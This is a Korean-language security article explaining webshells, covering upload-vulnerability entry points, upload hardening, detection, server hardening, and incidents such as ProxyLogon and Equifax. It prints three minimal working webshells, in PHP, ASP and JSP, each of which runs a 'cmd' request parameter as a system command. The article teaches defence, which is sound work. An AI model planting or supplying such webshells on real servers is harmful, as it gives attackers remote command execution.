웹쉘 위협의 동작 방식과 서버 방어 전략
웹쉘이 파일 업로드 취약점을 통해 서버의 지속적 접근 통로가 되는 과정과 탐지·차단·서버 보안 강화 방법, 실제 침해 사례를 실무 관점에서 정리한다.
2026-08-14 · 최초 발행 2025-05-23
웹 서버 안에 남는 원격 제어 통로
웹쉘은 공격자가 원격에서 웹 서버를 제어하도록 만드는 악성 스크립트다. 파일 업로드 취약점을 이용해 서버에 배포되는 경우가 많으며, 이후에는 서버 내부에 지속적으로 접근하는 백도어 역할을 한다.
대개 PHP, ASP, JSP, Python 같은 서버 측 스크립트 언어로 작성된다. 공격자는 이를 통해 원격 명령을 실행하고, 파일 시스템 접근, 데이터베이스 조작, 네트워크 연결 같은 권한을 확보할 수 있다. 코드 자체는 작아도 서버 제어 범위는 넓어질 수 있으며, 탐지를 피하려고 난독화 기법이 적용되기도 한다.
취약점 악용에서 지속적 접근까지
웹쉘 침해는 취약점을 찾은 뒤 악성 파일을 올리고, 해당 파일을 실행해 서버 접근 권한을 넓히는 흐름으로 이어진다. 권한 상승 뒤에는 접근 통로를 유지하면서 추가 공격을 수행할 수 있다.
서버 플랫폼별로 나타나는 웹쉘 코드
PHP는 웹 개발에 널리 쓰이는 언어인 만큼 웹쉘의 대상이 되기 쉽다. 다음 코드는 URL 파라미터로 받은 명령을 서버에서 실행하고 그 결과를 반환한다.
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Windows 서버 환경에서는 ASP/ASP.NET 형태의 웹쉘도 사용된다.
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c " & Request.QueryString("cmd"))
o = cmd.StdOut.Readall()
Response.write(o)
%>
Java 기반 웹 애플리케이션 서버는 JSP 웹쉘의 대상이 된다.
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
파일 업로드 기능이 침해 경로가 되는 조건
웹쉘 배포에서 가장 흔한 진입점은 파일 업로드 취약점이다. 확장자만 확인하거나 MIME 타입만 확인하는 검증, JavaScript에만 의존하는 클라이언트 측 검증, 파일 내용 검증 부재는 모두 우회 여지를 남긴다.
업로드 디렉터리에 실행 권한이 남아 있거나, 파일명과 경로 검증이 미흡해 경로 트래버설 가능성이 존재하는 경우도 위험하다. 악성 파일이 저장된 뒤 URL로 접근할 수 있으면 웹 서버는 그 파일을 실행하고 결과를 공격자에게 돌려줄 수 있다.
업로드 단계에서 실행 경로를 끊기
파일 업로드는 확장자, MIME 타입, 파일 내용을 함께 확인해야 한다. 검증은 서버 측에서 수행하고, 클라이언트 측 검증은 보조 수단으로만 사용한다.
업로드 파일은 실행되지 않는 위치에 저장해야 하며, 웹 접근 경로와 물리적 저장 경로를 분리하는 방식이 필요하다. 원본 파일명 대신 생성된 ID를 사용하고, 비정상적으로 큰 파일은 제한하는 것도 방어 범위에 포함된다.
탐지 신호와 서버 측 방어
탐지는 파일 하나만 보는 방식으로 끝나지 않는다. 웹 애플리케이션 파일의 변경을 감시하고, 웹 서버가 비정상적인 프로세스를 실행하는지 확인해야 한다. 로그에서는 비정상 접근 패턴과 명령 실행 기록을 분석하며, 파일 시스템에서는 알려진 웹쉘 시그니처와 패턴을 검색한다.
웹 애플리케이션 방화벽(WAF)으로 악성 요청 패턴을 차단하고, 정기적인 취약점 스캔으로 잠재적인 침해 경로를 먼저 찾는 작업도 병행한다.
서버 프로세스에는 최소 권한만 부여한다. 알려진 취약점을 없애기 위한 정기 패치와 업데이트, 웹 서버와 중요 시스템을 나누는 네트워크 세그먼테이션, Content-Security-Policy와 X-Content-Type-Options 같은 보안 헤더 적용도 방어 계층을 보완한다. 사용하지 않는 서비스와 모듈은 비활성화해 공격 표면을 줄인다.
웹쉘이 추가 침해의 기반이 된 사례
2021년 초 Microsoft Exchange Server의 ProxyLogon 취약점(CVE-2021-26855)을 통해 수만 개의 기업 서버에 웹쉘이 설치됐다. 공격자들은 이메일 데이터 유출, 랜섬웨어 배포, 내부 네트워크 침투 등의 추가 공격을 수행했다.
2017년 Equifax의 대규모 데이터 유출은 Apache Struts 취약점을 이용한 웹쉘 설치로 시작됐다. 공격자들은 웹쉘을 통해 1억 4,700만 명의 개인정보에 접근할 수 있었다.
2020년에는 한국의 여러 공공기관이 파일 업로드 취약점을 통한 웹쉘 공격을 당했다. 공격자들은 내부 문서와 개인정보를 유출했고, 일부 사례에서는 웹 서버를 통해 내부 네트워크로 침투했다.
웹쉘은 작은 스크립트로 시작하지만, 서버 내부에 남은 접근 통로가 될 수 있다. 업로드 기능의 검증과 실행 권한을 엄격히 분리하고, 파일·프로세스·로그를 함께 감시하는 다층 방어가 필요하다.